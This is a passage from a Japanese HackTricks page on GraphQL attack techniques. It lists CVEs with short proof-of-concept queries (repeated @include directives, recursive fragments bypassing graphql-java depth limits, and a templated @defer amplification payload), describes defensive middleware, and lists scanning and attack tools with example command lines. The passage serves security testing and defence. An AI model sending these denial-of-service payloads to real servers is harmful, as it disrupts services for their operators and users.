- 修正/緩和策: 7.0.10以上にアップグレードするか
SchemaBuilder.limit_directives()を呼び出す。あるいは"@include.*@include.*@include"のようなWAFルールでリクエストをフィルタリングする。
# PoC – repeat @include X times
query overload {
__typename @include(if:true) @include(if:true) @include(if:true)
}
CVE-2024-40094 – graphql-java ENF 深度/複雑度 bypass
- 影響を受ける: graphql-java < 19.11, 20.0-20.8, 21.0-21.4
- 根本原因: ExecutableNormalizedFields が
MaxQueryDepth/MaxQueryComplexityの instrumentation に考慮されていませんでした。再帰的なフラグメントはそのためすべての制限を回避しました。 - 影響: graphql-java を組み込んだ Java スタック(Spring Boot、Netflix DGS、Atlassian 製品…)に対する認証なしの DoS。
fragment A on Query { ...B }
fragment B on Query { ...A }
query { ...A }
CVE-2023-23684 – WPGraphQL SSRF to RCE chain
- 影響を受けるバージョン: WPGraphQL ≤ 1.14.5 (WordPress plugin).
- 根本原因:
createMediaItemmutation が攻撃者制御のfilePathURLs を受け入れ、内部ネットワークへのアクセスやファイル書き込みを可能にしていた。 - 影響: 認証済みの Editors/Authors がメタデータエンドポイントに到達したり、PHP ファイルを書き込んでリモートコード実行を行えた。
インクリメンタルデリバリーの悪用: @defer / @stream
2023年以降、主要な多くのサーバ(Apollo 4, GraphQL-Java 20+, HotChocolate 13)は、GraphQL-over-HTTP WG によって定義された incremental delivery ディレクティブを実装しました。各 deferred patch は separate chunk として個別に送られるため、合計レスポンスサイズは N + 1 (envelope + patches) になります。したがって、数千の小さな deferred フィールドを含むクエリは、攻撃者にとってはリクエスト1回で大きなレスポンスを生成できる — 古典的な amplification DoS であり、最初のチャンクのみを検査するボディサイズの WAF ルールを回避する手段になります。WG のメンバー自身もこのリスクを指摘しています。
Example payload generating 2 000 patches:
query abuse {
% for i in range(0,2000):
f{{i}}: __typename @defer
% endfor
}
対策: 本番環境では @defer/@stream を無効にするか、max_patches、累積 max_bytes および実行時間を強制してください。graphql-armor のようなライブラリ(下記参照)は既に妥当なデフォルトを強制します。
防御ミドルウェア (2024+)
| プロジェクト | 説明 |
|---|---|
| graphql-armor | Node/TypeScript バリデーションミドルウェアで、Escape Tech が公開。クエリの深さ、エイリアス/フィールド/ディレクティブの数、トークンやコストに対するプラグアンドプレイの制限を実装;Apollo Server、GraphQL Yoga/Envelop、Helix などと互換性あり。 |
クイックスタート:
import { protect } from '@escape.tech/graphql-armor';
import { applyMiddleware } from 'graphql-middleware';
const protectedSchema = applyMiddleware(schema, ...protect());
graphql-armor は過度に深い、複雑またはディレクティブが多いクエリをブロックし、上記のCVEから保護します。
ツール
脆弱性スキャナー
- https://github.com/dolevf/graphql-cop: graphql エンドポイントの一般的なミスコンフィギュレーションをテストする
- https://github.com/assetnote/batchql: バッチ GraphQL クエリとミューテーションの実行に重点を置いた GraphQL セキュリティ監査スクリプト。
- https://github.com/dolevf/graphw00f: 使用されている graphql のフィンガープリントを取得する
- https://github.com/gsmith257-cyber/GraphCrawler: スキーマを取得して機密データを検索し、認可をテストし、スキーマをブルートフォースし、特定の型へのパスを見つけるために使えるツールキット。
- https://blog.doyensec.com/2020/03/26/graphql-scanner.html: スタンドアロンまたは Burp extension として使用できる。
- https://github.com/swisskyrepo/GraphQLmap: CLI クライアントとして使用でき、攻撃の自動化も可能:
python3 graphqlmap.py -u http://example.com/graphql --inject - https://gitlab.com/dee-see/graphql-path-enum: GraphQL スキーマ内で特定の型に到達するための異なる方法を列挙するツール。
- https://github.com/doyensec/GQLSpection: InQL の Standalone および CLI モードの後継
- https://github.com/doyensec/inql: Burp extension または python スクリプトによる高度な GraphQL テスト用。Scanner は InQL v5.0 のコアで、GraphQL エンドポイントやローカルの introspection スキーマファイルを分析できます。すべての可能なクエリとミューテーションを自動生成し、分析のために構造化されたビューに整理します。Attacker コンポーネントはバッチ GraphQL 攻撃を実行でき、実装の甘いレート制限を回避するのに役立ちます:
python3 inql.py -t http://example.com/graphql -o output.json - https://github.com/nikitastupin/clairvoyance: introspection が無効でも、mutation とパラメータ名を示唆する一部の Graphql データベースの助けを借りてスキーマを取得しようとする。
一般的な脆弱性を悪用するスクリプト
- https://github.com/reycotallo98/pentestScripts/tree/main/GraphQLDoS: 脆弱な graphql 環境に対する DoS 脆弱性を悪用するためのスクリプト集。
クライアント
- https://github.com/graphql/graphiql: GUI クライアント
- https://altair.sirmuel.design/: GUI クライアント
自動テスト
https://graphql-dashboard.herokuapp.com/
- AutoGraphQL を解説するビデオ: https://www.youtube.com/watch?v=JJmufWfVvyU
参考
- https://jondow.eu/practical-graphql-attack-vectors/
- https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696
- https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4
- http://ghostlulz.com/api-hacking-graphql/
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md
- https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696
- https://portswigger.net/web-security/graphql
- https://github.com/advisories/GHSA-5gc2-7c65-8fq8
- https://github.com/escape-tech/graphql-armor
- https://blog.doyensec.com/2025/12/02/inql-v610.html
- https://github.com/nicholasaleks/graphql-threat-matrix
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
HackTricks

